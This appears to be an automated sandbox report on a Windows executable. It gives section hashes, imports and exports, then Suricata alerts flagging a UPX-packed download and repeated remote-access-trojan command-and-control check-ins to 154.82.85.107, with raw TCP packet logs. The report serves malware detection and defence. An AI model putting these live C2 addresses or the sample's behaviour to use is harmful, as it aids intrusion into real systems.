IMAGE_DIRECTORY_ENTRY_IAT	0x26b94c	0x848	.idata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x26f000	0x9ee	.didata
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x2581fc	0x258200	fa5e754e5d1c4f8bc93987d1c306d14e	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.itext	0x25a000	0x26c8	0x2800	367bc90dd8be7c6a1056ad2a82281084	False	0.503125	data	6.119631643767066	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.data	0x25d000	0x5a64	0x5c00	c20c3606951695cd5626a53022531398	False	0.40281080163043476	data	5.055173307610014	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.bss	0x263000	0x780c	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x26b000	0x35d8	0x3600	6cbfeeac8d17ca3b356e9c16e6f19fc1	False	0.33622685185185186	data	5.280395234482991	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.didata	0x26f000	0x9ee	0xa00	2726dff14c86e88d2aaa4303cf2dc681	False	0.36328125	data	4.360393246158077	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.edata	0x270000	0x97	0x200	8c377a4128fcc7899b263e28899a337b	False	0.251953125	data	1.7456444612923019	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.tls	0x271000	0x44	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rdata	0x272000	0x5d	0x200	2f7aa57241cc0d4266afaa9ceb64679a	False	0.189453125	data	1.3590642120925076	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc	0x273000	0xec55	0xee00	09a0444489bc5d14abd83f9355f8763a	False	0.2914915966386555	data	5.138022968656879	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_BITMAP	0x273334	0xd28	Device independent bitmap graphic, 48 x 48 x 8, image size 0, resolution 3780 x 3780 px/m, 256 important colors			0.16508313539192399
RT_BITMAP	0x27405c	0x32a	Device independent bitmap graphic, 16 x 16 x 24, image size 770, resolution 3779 x 3779 px/m			0.2074074074074074
RT_ICON	0x274388	0x2488	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	English	United States	0.9942258340461934
RT_ICON	0x276810	0x4228	Device independent bitmap graphic, 64 x 128 x 32, image size 16896	English	United States	0.11478507321681625
RT_ICON	0x27aa38	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.15383817427385893
RT_ICON	0x27cfe0	0x1a68	Device independent bitmap graphic, 40 x 80 x 32, image size 6720	English	United States	0.18284023668639054
RT_ICON	0x27ea48	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	English	United States	0.24108818011257035
RT_ICON	0x27faf0	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400	English	United States	0.32581967213114754
RT_ICON	0x280478	0x6b8	Device independent bitmap graphic, 20 x 40 x 32, image size 1680	English	United States	0.37209302325581395
RT_ICON	0x280b30	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States	0.4512411347517731
RT_GROUP_ICON	0x280f98	0x76	data	English	United States	0.7288135593220338
RT_VERSION	0x281010	0x514	data	English	United States	0.3046153846153846
RT_MANIFEST	0x281524	0x731	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.40195545898967955

Imports

DLL	Import
mpr.dll	WNetEnumResourceW, WNetGetUniversalNameW, WNetGetConnectionW, WNetCloseEnum, WNetOpenEnumW
comdlg32.dll	GetSaveFileNameW, GetOpenFileNameW
comctl32.dll	FlatSB_SetScrollInfo, InitCommonControls, ImageList_DragMove, ImageList_Destroy, _TrackMouseEvent, ImageList_DragShowNolock, ImageList_Add, FlatSB_SetScrollProp, ImageList_GetDragImage, ImageList_Create, ImageList_EndDrag, ImageList_DrawEx, ImageList_SetImageCount, FlatSB_GetScrollPos, FlatSB_SetScrollPos, InitializeFlatSB, FlatSB_GetScrollInfo, ImageList_Write, ImageList_SetBkColor, ImageList_GetBkColor, ImageList_BeginDrag, ImageList_GetIcon, ImageList_GetImageCount, ImageList_DragEnter, ImageList_GetIconSize, ImageList_SetIconSize, ImageList_Read, ImageList_DragLeave, ImageList_Draw, ImageList_Remove
shell32.dll	SHBrowseForFolderW, ExtractIconW, SHGetMalloc, SHGetFileInfoW, SHChangeNotify, Shell_NotifyIconW, ShellExecuteW, SHGetPathFromIDListW, ShellExecuteExW
user32.dll	CopyImage, CreateWindowExW, GetMenuItemInfoW, SetMenuItemInfoW, DefFrameProcW, GetDCEx, GetMessageW, PeekMessageW, MonitorFromWindow, GetDlgCtrlID, ScrollWindowEx, SetTimer, WindowFromPoint, BeginPaint, RegisterClipboardFormatW, FrameRect, MapVirtualKeyW, OffsetRect, IsWindowUnicode, RegisterWindowMessageW, FillRect, GetMenuStringW, DispatchMessageW, SendMessageA, DefMDIChildProcW, EnumWindows, GetClassInfoW, GetSystemMenu, WaitForInputIdle, ShowOwnedPopups, GetScrollRange, GetScrollPos, SetScrollPos, GetActiveWindow, SetActiveWindow, DrawEdge, InflateRect, GetKeyboardLayoutList, OemToCharBuffA, LoadBitmapW, DrawFocusRect, EnumChildWindows, GetScrollBarInfo, SendNotifyMessageW, ReleaseCapture, UnhookWindowsHookEx, LoadCursorW, GetCapture, SetCapture, CreatePopupMenu, ScrollWindow, ShowCaret, GetMenuItemID, GetLastActivePopup, CharLowerBuffW, GetSystemMetrics, SetWindowLongW, PostMessageW, DrawMenuBar, SetParent, IsZoomed, CharUpperBuffW, GetClientRect, IsChild, ClientToScreen, SetWindowPlacement, IsIconic, CallNextHookEx, GetMonitorInfoW, ShowWindow, CheckMenuItem, CharUpperW, DefWindowProcW, GetForegroundWindow, SetForegroundWindow, GetWindowTextW, EnableWindow, DestroyWindow, IsDialogMessageW, EndMenu, RegisterClassW, CharNextW, GetWindowThreadProcessId, RedrawWindow, GetDC, GetFocus, SetFocus, EndPaint, ExitWindowsEx, ReleaseDC, MsgWaitForMultipleObjectsEx, LoadKeyboardLayoutW, GetClassLongW, ActivateKeyboardLayout, GetParent, CharToOemBuffA, DrawTextW, SetScrollRange, InsertMenuItemW, PeekMessageA, GetPropW, SetClassLongW, MessageBoxW, MessageBeep, SetPropW, SetRectEmpty, UpdateWindow, RemovePropW, GetSubMenu, MsgWaitForMultipleObjects, DestroyMenu, DestroyIcon, SetWindowsHookExW, IsWindowVisible, DispatchMessageA, UnregisterClassW, GetTopWindow, SendMessageW, AdjustWindowRectEx, DrawIcon, IsWindow, EnumThreadWindows, InvalidateRect, GetKeyboardState, DrawFrameControl, ScreenToClient, SendMessageTimeoutW, BringWindowToTop, SetCursor, CreateIcon, CreateMenu, LoadStringW, CharLowerW, SetWindowPos, SetWindowRgn, GetMenuItemCount, RemoveMenu, AppendMenuW, GetSysColorBrush, GetKeyboardLayoutNameW, GetWindowDC, TranslateMessage, DrawTextExW, MapWindowPoints, EnumDisplayMonitors, CallWindowProcW, DestroyCursor, ReplyMessage, GetScrollInfo, SetWindowTextW, GetMessageExtraInfo, EnableScrollBar, GetSysColor, TrackPopupMenu, DrawIconEx, PostQuitMessage, GetClassNameW, ShowScrollBar, EnableMenuItem, GetIconInfo, GetMessagePos, SetScrollInfo, GetKeyNameTextW, GetDesktopWindow, GetCursorPos, SetCursorPos, HideCaret, GetMenu, GetMenuState, SetMenu, SetRect, GetKeyState, FindWindowExW, MonitorFromPoint, SystemParametersInfoW, LoadIconW, GetCursor, GetWindow, GetWindowLongW, GetWindowRect, InsertMenuW, KillTimer, WaitMessage, IsWindowEnabled, IsDialogMessageA, TranslateMDISysAccel, GetWindowPlacement, FindWindowW, DeleteMenu, GetKeyboardLayout
version.dll	GetFileVersionInfoSizeW, VerQueryValueW, GetFileVersionInfoW
oleaut32.dll	SafeArrayPutElement, LoadTypeLib, GetErrorInfo, VariantInit, VariantClear, SysFreeString, SysReAllocStringLen, SafeArrayCreate, SafeArrayGetElement, GetActiveObject, SysAllocStringLen, SafeArrayPtrOfIndex, SafeArrayGetUBound, SafeArrayGetLBound, VariantCopy, RegisterTypeLib, VariantChangeType, VariantCopyInd
advapi32.dll	RegSetValueExW, RegEnumKeyExW, AdjustTokenPrivileges, OpenThreadToken, GetUserNameW, RegDeleteKeyW, LookupPrivilegeValueW, OpenProcessToken, RegOpenKeyExW, RegQueryInfoKeyW, AllocateAndInitializeSid, FreeSid, EqualSid, RegDeleteValueW, RegFlushKey, RegQueryValueExW, RegEnumValueW, GetTokenInformation, InitializeSecurityDescriptor, RegCloseKey, RegCreateKeyExW, SetSecurityDescriptorDacl
netapi32.dll	NetWkstaGetInfo, NetApiBufferFree
kernel32.dll	SetFileAttributesW, SetFileTime, GetACP, GetExitCodeProcess, IsBadWritePtr, CloseHandle, LocalFree, GetCurrentProcessId, SizeofResource, VirtualProtect, QueryPerformanceFrequency, FindNextFileW, GetFullPathNameW, VirtualFree, ExitProcess, HeapAlloc, WriteProfileStringW, GetCPInfoExW, RtlUnwind, GetCPInfo, GetStdHandle, FileTimeToLocalFileTime, GetModuleHandleW, FreeLibrary, HeapDestroy, CompareFileTime, ReadFile, CreateProcessW, TransactNamedPipe, GetLastError, GetModuleFileNameW, SetLastError, FindResourceW, OpenMutexW, CreateThread, CompareStringW, CopyFileW, CreateMutexW, LoadLibraryA, ResetEvent, MulDiv, FreeResource, GetDriveTypeW, GetVersion, RaiseException, MoveFileW, GlobalAddAtomW, GetSystemTimeAsFileTime, FormatMessageW, OpenProcess, SwitchToThread, GetExitCodeThread, GetCurrentThread, GetLogicalDrives, LocalFileTimeToFileTime, SetNamedPipeHandleState, LoadLibraryExW, TerminateProcess, LockResource, FileTimeToSystemTime, GetShortPathNameW, GetCurrentThreadId, UnhandledExceptionFilter, MoveFileExW, VirtualQuery, GlobalFindAtomW, VirtualQueryEx, Sleep, EnterCriticalSection, SetFilePointer, ReleaseMutex, FlushFileBuffers, LoadResource, SuspendThread, GetTickCount, WritePrivateProfileStringW, GetFileSize, GetStartupInfoW, GlobalDeleteAtom, GetFileAttributesW, GetCurrentDirectoryW, SetCurrentDirectoryW, InitializeCriticalSection, GetThreadPriority, GetCurrentProcess, SetThreadPriority, VirtualAlloc, GetSystemInfo, GetCommandLineW, LeaveCriticalSection, GetProcAddress, ResumeThread, GetVersionExW, VerifyVersionInfoW, HeapCreate, GetWindowsDirectoryW, DeviceIoControl, GetDiskFreeSpaceW, VerSetConditionMask, FindFirstFileW, GetUserDefaultUILanguage, lstrlenW, QueryPerformanceCounter, SetEndOfFile, lstrcmpW, HeapFree, WideCharToMultiByte, FindClose, MultiByteToWideChar, LoadLibraryW, SetEvent, CreateFileW, GetLocaleInfoW, GetSystemDirectoryW, DeleteFileW, GetEnvironmentVariableW, GetLocalTime, WaitForSingleObject, WriteFile, CreateNamedPipeW, ExitThread, DeleteCriticalSection, GetDateFormatW, TlsGetValue, SetErrorMode, GetComputerNameW, IsValidLocale, TlsSetValue, CreateDirectoryW, GetOverlappedResult, GetSystemDefaultUILanguage, EnumCalendarInfoW, GetProfileStringW, LocalAlloc, GetUserDefaultLangID, RemoveDirectoryW, IsDBCSLeadByte, CreateEventW, GetPrivateProfileStringW, WaitForMultipleObjectsEx, GetThreadLocale, SetThreadLocale
ole32.dll	StgCreateDocfileOnILockBytes, CoCreateInstance, CLSIDFromString, CoUninitialize, IsEqualGUID, OleInitialize, CoFreeUnusedLibraries, CreateILockBytesOnHGlobal, CLSIDFromProgID, OleUninitialize, CoDisconnectObject, CoInitialize, CoTaskMemFree, CoTaskMemAlloc, StringFromCLSID
gdi32.dll	Arc, Pie, SetBkMode, SelectPalette, CreateCompatibleBitmap, ExcludeClipRect, RectVisible, SetWindowOrgEx, MaskBlt, AngleArc, Chord, SetTextColor, StretchBlt, SetDIBits, SetViewportOrgEx, CreateRectRgn, RealizePalette, SetDIBColorTable, GetDIBColorTable, RoundRect, RestoreDC, SetRectRgn, GetTextMetricsW, RemoveFontResourceW, GetWindowOrgEx, CreatePalette, CreateBrushIndirect, PatBlt, LineDDA, PolyBezierTo, GetStockObject, CreateSolidBrush, Polygon, Rectangle, MoveToEx, DeleteDC, SaveDC, BitBlt, Ellipse, FrameRgn, GetDeviceCaps, GetBitmapBits, GetTextExtentPoint32W, GetClipBox, Polyline, IntersectClipRect, GetSystemPaletteEntries, CreateBitmap, AddFontResourceW, CreateDIBitmap, GetStretchBltMode, CreateDIBSection, CreatePenIndirect, SetStretchBltMode, GetDIBits, CreateFontIndirectW, PolyBezier, LineTo, GetRgnBox, EnumFontsW, CreateHalftonePalette, DeleteObject, SelectObject, ExtFloodFill, UnrealizeObject, SetBkColor, CreateCompatibleDC, GetObjectW, GetBrushOrgEx, GetCurrentPositionEx, SetROP2, GetTextExtentPointW, ExtTextOutW, SetBrushOrgEx, GetPixel, ArcTo, GdiFlush, SetPixel, EnumFontFamiliesExW, GetPaletteEntries

Exports

Name	Ordinal	Address
TMethodImplementationIntercept	3	0x4aefc0
__dbk_fcall_wrapper	2	0x40eb68
dbkFCallWrapperAddr	1	0x66663c

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-08T07:15:05.390726+0100	2001046	ET MALWARE UPX compressed file download possible malware	3	47.79.48.230	443	192.168.2.4	49732	TCP
2025-01-08T07:15:33.044544+0100	2052875	ET MALWARE Anonymous RAT CnC Checkin	1	192.168.2.4	49740	154.82.85.107	15091	TCP
2025-01-08T07:16:43.500651+0100	2052875	ET MALWARE Anonymous RAT CnC Checkin	1	192.168.2.4	49741	154.82.85.107	15091	TCP
2025-01-08T07:17:55.290074+0100	2052875	ET MALWARE Anonymous RAT CnC Checkin	1	192.168.2.4	50009	154.82.85.107	15091	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 8, 2025 07:14:56.797892094 CET	49730	8853	192.168.2.4	154.82.85.107
Jan 8, 2025 07:14:56.803703070 CET	8853	49730	154.82.85.107	192.168.2.4
Jan 8, 2025 07:14:56.803776979 CET	49730	8853	192.168.2.4	154.82.85.107
Jan 8, 2025 07:14:57.619026899 CET	8853	49730	154.82.85.107	192.168.2.4
Jan 8, 2025 07:14:57.619049072 CET	8853	49730	154.82.85.107	192.168.2.4
Jan 8, 2025 07:14:57.619062901 CET	8853	49730	154.82.85.107	192.168.2.4
Jan 8, 2025 07:14:57.619076014 CET	8853	49730	154.82.85.107	192.168.2.4
Jan 8, 2025 07:14:57.619087934 CET	8853	49730	154.82.85.107	192.168.2.4
Jan 8, 2025 07:14:57.619098902 CET	8853	49730	154.82.85.107	192.168.2.4
Jan 8, 2025 07:14:57.619102955 CET	49730	8853	192.168.2.4	154.82.85.107
Jan 8, 2025 07:14:57.619112015 CET	8853	49730	154.82.85.107	192.168.2.4
Jan 8, 2025 07:14:57.619126081 CET	8853	49730	154.82.85.107	192.168.2.4
Jan 8, 2025 07:14:57.619127035 CET	49730	8853	192.168.2.4	154.82.85.107
Jan 8, 2025 07:14:57.619137049 CET	8853	49730	154.82.85.107	192.168.2.4
Jan 8, 2025 07:14:57.619153023 CET	8853	49730	154.82.85.107	192.168.2.4
Jan 8, 2025 07:14:57.619179010 CET	49730	8853	192.168.2.4	154.82.85.107
Jan 8, 2025 07:14:57.619193077 CET	49730	8853	192.168.2.4	154.82.85.107
Jan 8, 2025 07:14:57.623941898 CET	8853	49730	154.82.85.107	192.168.2.4
Jan 8, 2025 07:14:57.624001980 CET	8853	49730	154.82.85.107	192.168.2.4
Jan 8, 2025 07:14:57.624016047 CET	8853	49730	154.82.85.107	192.168.2.4
Jan 8, 2025 07:14:57.624042988 CET	8853	49730	154.82.85.107	192.168.2.4
Jan 8, 2025 07:14:57.624047041 CET	49730	8853	192.168.2.4	154.82.85.107
Jan 8, 2025 07:14:57.624100924 CET	49730	8853	192.168.2.4	154.82.85.107
Jan 8, 2025 07:14:57.846117973 CET	8853	49730	154.82.85.107	192.168.2.4
Jan 8, 2025 07:14:57.846142054 CET	8853	49730	154.82.85.107	192.168.2.4
Jan 8, 2025 07:14:57.846153975 CET	8853	49730	154.82.85.107	192.168.2.4
Jan 8, 2025 07:14:57.846168041 CET	8853	49730	154.82.85.107	192.168.2.4
Jan 8, 2025 07:14:57.846187115 CET	8853	49730	154.82.85.107	192.168.2.4
Jan 8, 2025 07:14:57.846199989 CET	8853	49730	154.82.85.107	192.168.2.4
Jan 8, 2025 07:14:57.846332073 CET	8853	49730	154.82.85.107	192.168.2.4
Jan 8, 2025 07:14:57.846399069 CET	49730	8853	192.168.2.4	154.82.85.107
Jan 8, 2025 07:14:57.846399069 CET	49730	8853	192.168.2.4	154.82.85.107
Jan 8, 2025 07:14:57.846695900 CET	8853	49730	154.82.85.107	192.168.2.4
Jan 8, 2025 07:14:57.846718073 CET	8853	49730	154.82.85.107	192.168.2.4
Jan 8, 2025 07:14:57.846749067 CET	49730	8853	192.168.2.4	154.82.85.107
Jan 8, 2025 07:14:57.846812963 CET	8853	49730	154.82.85.107	192.168.2.4
Jan 8, 2025 07:14:57.846826077 CET	8853	49730	154.82.85.107	192.168.2.4
Jan 8, 2025 07:14:57.846873999 CET	49730	8853	192.168.2.4	154.82.85.107
Jan 8, 2025 07:14:57.846927881 CET	8853	49730	154.82.85.107	192.168.2.4
Jan 8, 2025 07:14:57.846940994 CET	8853	49730	154.82.85.107	192.168.2.4
Jan 8, 2025 07:14:57.847004890 CET	49730	8853	192.168.2.4	154.82.85.107
Jan 8, 2025 07:14:57.847527027 CET	8853	49730	154.82.85.107	192.168.2.4
Jan 8, 2025 07:14:57.847548008 CET	8853	49730	154.82.85.107	192.168.2.4
Jan 8, 2025 07:14:57.847560883 CET	8853	49730	154.82.85.107	192.168.2.4
Jan 8, 2025 07:14:57.847601891 CET	49730	8853	192.168.2.4	154.82.85.107
Jan 8, 2025 07:14:57.847601891 CET	49730	8853	192.168.2.4	154.82.85.107
Jan 8, 2025 07:14:57.847759008 CET	8853	49730	154.82.85.107	192.168.2.4
Jan 8, 2025 07:14:57.847771883 CET	8853	49730	154.82.85.107	192.168.2.4
Jan 8, 2025 07:14:57.847783089 CET	8853	49730	154.82.85.107	192.168.2.4
Jan 8, 2025 07:14:57.847836971 CET	49730	8853	192.168.2.4	154.82.85.107
Jan 8, 2025 07:14:57.848464966 CET	8853	49730	154.82.85.107	192.168.2.4
Jan 8, 2025 07:14:57.848506927 CET	49730	8853	192.168.2.4	154.82.85.107
Jan 8, 2025 07:14:57.848522902 CET	8853	49730	154.82.85.107	192.168.2.4
Jan 8, 2025 07:14:57.848536015 CET	8853	49730	154.82.85.107	192.168.2.4
Jan 8, 2025 07:14:57.848552942 CET	8853	49730	154.82.85.107	192.168.2.4
Jan 8, 2025 07:14:57.848563910 CET	8853	49730	154.82.85.107	192.168.2.4
Jan 8, 2025 07:14:57.848586082 CET	49730	8853	192.168.2.4	154.82.85.107
Jan 8, 2025 07:14:57.848618984 CET	49730	8853	192.168.2.4	154.82.85.107
Jan 8, 2025 07:14:58.072171926 CET	8853	49730	154.82.85.107	192.168.2.4
Jan 8, 2025 07:14:58.072190046 CET	8853	49730	154.82.85.107	192.168.2.4
Jan 8, 2025 07:14:58.072213888 CET	8853	49730	154.82.85.107	192.168.2.4
Jan 8, 2025 07:14:58.072226048 CET	8853	49730	154.82.85.107	192.168.2.4
Jan 8, 2025 07:14:58.072237968 CET	8853	49730	154.82.85.107	192.168.2.4
Jan 8, 2025 07:14:58.072340965 CET	8853	49730	154.82.85.107	192.168.2.4
Jan 8, 2025 07:14:58.072350025 CET	49730	8853	192.168.2.4	154.82.85.107
Jan 8, 2025 07:14:58.072350025 CET	49730	8853	192.168.2.4	154.82.85.107
Jan 8, 2025 07:14:58.072402954 CET	49730	8853	192.168.2.4	154.82.85.107
Jan 8, 2025 07:14:58.072424889 CET	8853	49730	154.82.85.107	192.168.2.4
Jan 8, 2025 07:14:58.072437048 CET	8853	49730	154.82.85.107	192.168.2.4
Jan 8, 2025 07:14:58.072484970 CET	49730	8853	192.168.2.4	154.82.85.107
Jan 8, 2025 07:14:58.072503090 CET	8853	49730	154.82.85.107	192.168.2.4
Jan 8, 2025 07:14:58.072741032 CET	8853	49730	154.82.85.107	192.168.2.4
Jan 8, 2025 07:14:58.072760105 CET	8853	49730	154.82.85.107	192.168.2.4
Jan 8, 2025 07:14:58.072771072 CET	8853	49730	154.82.85.107	192.168.2.4
Jan 8, 2025 07:14:58.072796106 CET	49730	8853	192.168.2.4	154.82.85.107
Jan 8, 2025 07:14:58.072813988 CET	49730	8853	192.168.2.4	154.82.85.107
Jan 8, 2025 07:14:58.072837114 CET	8853	49730	154.82.85.107	192.168.2.4
Jan 8, 2025 07:14:58.073141098 CET	8853	49730	154.82.85.107	192.168.2.4
Jan 8, 2025 07:14:58.073160887 CET	8853	49730	154.82.85.107	192.168.2.4
Jan 8, 2025 07:14:58.073232889 CET	49730	8853	192.168.2.4	154.82.85.107
Jan 8, 2025 07:14:58.073250055 CET	8853	49730	154.82.85.107	192.168.2.4
Jan 8, 2025 07:14:58.073261976 CET	8853	49730	154.82.85.107	192.168.2.4
Jan 8, 2025 07:14:58.073302031 CET	49730	8853	192.168.2.4	154.82.85.107
Jan 8, 2025 07:14:58.073422909 CET	8853	49730	154.82.85.107	192.168.2.4
Jan 8, 2025 07:14:58.073434114 CET	8853	49730	154.82.85.107	192.168.2.4
Jan 8, 2025 07:14:58.073445082 CET	8853	49730	154.82.85.107	192.168.2.4
Jan 8, 2025 07:14:58.073456049 CET	8853	49730	154.82.85.107	192.168.2.4
Jan 8, 2025 07:14:58.073494911 CET	49730	8853	192.168.2.4	154.82.85.107
Jan 8, 2025 07:14:58.073494911 CET	49730	8853	192.168.2.4	154.82.85.107
Jan 8, 2025 07:14:58.074091911 CET	8853	49730	154.82.85.107	192.168.2.4
Jan 8, 2025 07:14:58.074151039 CET	8853	49730	154.82.85.107	192.168.2.4
Jan 8, 2025 07:14:58.074157953 CET	49730	8853	192.168.2.4	154.82.85.107
Jan 8, 2025 07:14:58.074162960 CET	8853	49730	154.82.85.107	192.168.2.4
Jan 8, 2025 07:14:58.074233055 CET	49730	8853	192.168.2.4	154.82.85.107
Jan 8, 2025 07:14:58.074264050 CET	8853	49730	154.82.85.107	192.168.2.4
Jan 8, 2025 07:14:58.074276924 CET	8853	49730	154.82.85.107	192.168.2.4
Jan 8, 2025 07:14:58.074287891 CET	8853	49730	154.82.85.107	192.168.2.4
Jan 8, 2025 07:14:58.074373007 CET	49730	8853	192.168.2.4	154.82.85.107
Jan 8, 2025 07:14:58.074400902 CET	8853	49730	154.82.85.107	192.168.2.4
Jan 8, 2025 07:14:58.074413061 CET	8853	49730	154.82.85.107	192.168.2.4
Jan 8, 2025 07:14:58.074460030 CET	49730	8853	192.168.2.4	154.82.85.107
Jan 8, 2025 07:14:58.075026989 CET	8853	49730	154.82.85.107	192.168.2.4
Jan 8, 2025 07:14:58.075047970 CET	8853	49730	154.82.85.107	192.168.2.4
Jan 8, 2025 07:14:58.075057983 CET	8853	49730	154.82.85.107	192.168.2.4
Jan 8, 2025 07:14:58.075109959 CET	49730	8853	192.168.2.4	154.82.85.107
Jan 8, 2025 07:14:58.075109959 CET	49730	8853	192.168.2.4	154.82.85.107
Jan 8, 2025 07:14:58.075164080 CET	8853	49730	154.82.85.107	192.168.2.4
Jan 8, 2025 07:14:58.075254917 CET	8853	49730	154.82.85.107	192.168.2.4
Jan 8, 2025 07:14:58.075265884 CET	8853	49730	154.82.85.107	192.168.2.4
Jan 8, 2025 07:14:58.075274944 CET	8853	49730	154.82.85.107	192.168.2.4
Jan 8, 2025 07:14:58.075285912 CET	8853	49730	154.82.85.107	192.168.2.4
Jan 8, 2025 07:14:58.075330973 CET	49730	8853	192.168.2.4	154.82.85.107
Jan 8, 2025 07:14:58.075341940 CET	49730	8853	192.168.2.4	154.82.85.107
Jan 8, 2025 07:14:58.075978994 CET	8853	49730	154.82.85.107	192.168.2.4
Jan 8, 2025 07:14:58.075990915 CET	8853	49730	154.82.85.107	192.168.2.4
Jan 8, 2025 07:14:58.076035976 CET	49730	8853	192.168.2.4	154.82.85.107
Jan 8, 2025 07:14:58.298491955 CET	8853	49730	154.82.85.107	192.168.2.4
Jan 8, 2025 07:14:58.298517942 CET	8853	49730	154.82.85.107	192.168.2.4
Jan 8, 2025 07:14:58.298531055 CET	8853	49730	154.82.85.107	192.168.2.4
Jan 8, 2025 07:14:58.298578024 CET	8853	49730	154.82.85.107	192.168.2.4
Jan 8, 2025 07:14:58.298592091 CET	8853	49730	154.82.85.107	192.168.2.4
Jan 8, 2025 07:14:58.298603058 CET	8853	49730	154.82.85.107	192.168.2.4
Jan 8, 2025 07:14:58.298610926 CET	8853	49730	154.82.85.107	192.168.2.4
Jan 8, 2025 07:14:58.298616886 CET	49730	8853	192.168.2.4	154.82.85.107
Jan 8, 2025 07:14:58.298639059 CET	49730	8853	192.168.2.4	154.82.85.107
Jan 8, 2025 07:14:58.298666000 CET	49730	8853	192.168.2.4	154.82.85.107
Jan 8, 2025 07:14:58.298715115 CET	8853	49730	154.82.85.107	192.168.2.4
Jan 8, 2025 07:14:58.298763037 CET	49730	8853	192.168.2.4	154.82.85.107
Jan 8, 2025 07:14:58.298789978 CET	8853	49730	154.82.85.107	192.168.2.4
Jan 8, 2025 07:14:58.298810959 CET	8853	49730	154.82.85.107	192.168.2.4
Jan 8, 2025 07:14:58.298899889 CET	8853	49730	154.82.85.107	192.168.2.4
Jan 8, 2025 07:14:58.298912048 CET	8853	49730	154.82.85.107	192.168.2.4
Jan 8, 2025 07:14:58.298957109 CET	49730	8853	192.168.2.4	154.82.85.107
Jan 8, 2025 07:14:58.298975945 CET	49730	8853	192.168.2.4	154.82.85.107
Jan 8, 2025 07:14:58.299210072 CET	8853	49730	154.82.85.107	192.168.2.4
Jan 8, 2025 07:14:58.299221039 CET	8853	49730	154.82.85.107	192.168.2.4
Jan 8, 2025 07:14:58.299232960 CET	8853	49730	154.82.85.107	192.168.2.4
Jan 8, 2025 07:14:58.299267054 CET	49730	8853	192.168.2.4	154.82.85.107
Jan 8, 2025 07:14:58.299299002 CET	8853	49730	154.82.85.107	192.168.2.4
Jan 8, 2025 07:14:58.299316883 CET	8853	49730	154.82.85.107	192.168.2.4
Jan 8, 2025 07:14:58.299329996 CET	8853	49730	154.82.85.107	192.168.2.4
Jan 8, 2025 07:14:58.299343109 CET	8853	49730	154.82.85.107	192.168.2.4
Jan 8, 2025 07:14:58.299375057 CET	49730	8853	192.168.2.4	154.82.85.107
Jan 8, 2025 07:14:58.299375057 CET	49730	8853	192.168.2.4	154.82.85.107
Jan 8, 2025 07:14:58.299794912 CET	8853	49730	154.82.85.107	192.168.2.4
Jan 8, 2025 07:14:58.299807072 CET	8853	49730	154.82.85.107	192.168.2.4
Jan 8, 2025 07:14:58.299817085 CET	8853	49730	154.82.85.107	192.168.2.4
Jan 8, 2025 07:14:58.299854994 CET	49730	8853	192.168.2.4	154.82.85.107
Jan 8, 2025 07:14:58.299854994 CET	49730	8853	192.168.2.4	154.82.85.107
Jan 8, 2025 07:14:58.299947023 CET	8853	49730	154.82.85.107	192.168.2.4
Jan 8, 2025 07:14:58.299958944 CET	8853	49730	154.82.85.107	192.168.2.4
Jan 8, 2025 07:14:58.299969912 CET	8853	49730	154.82.85.107	192.168.2.4
Jan 8, 2025 07:14:58.299983978 CET	8853	49730	154.82.85.107	192.168.2.4
Jan 8, 2025 07:14:58.300010920 CET	49730	8853	192.168.2.4	154.82.85.107
Jan 8, 2025 07:14:58.300026894 CET	49730	8853	192.168.2.4	154.82.85.107
Jan 8, 2025 07:14:58.301326036 CET	49730	8853	192.168.2.4	154.82.85.107
Jan 8, 2025 07:14:58.306143999 CET	8853	49730	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:03.039799929 CET	49731	8853	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:03.044747114 CET	8853	49731	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:03.044816017 CET	49731	8853	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:03.342003107 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:03.342034101 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:03.342129946 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:03.353368998 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:03.353382111 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:03.852495909 CET	8853	49731	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:03.852514029 CET	8853	49731	154.82.85.107	192.168.2.4
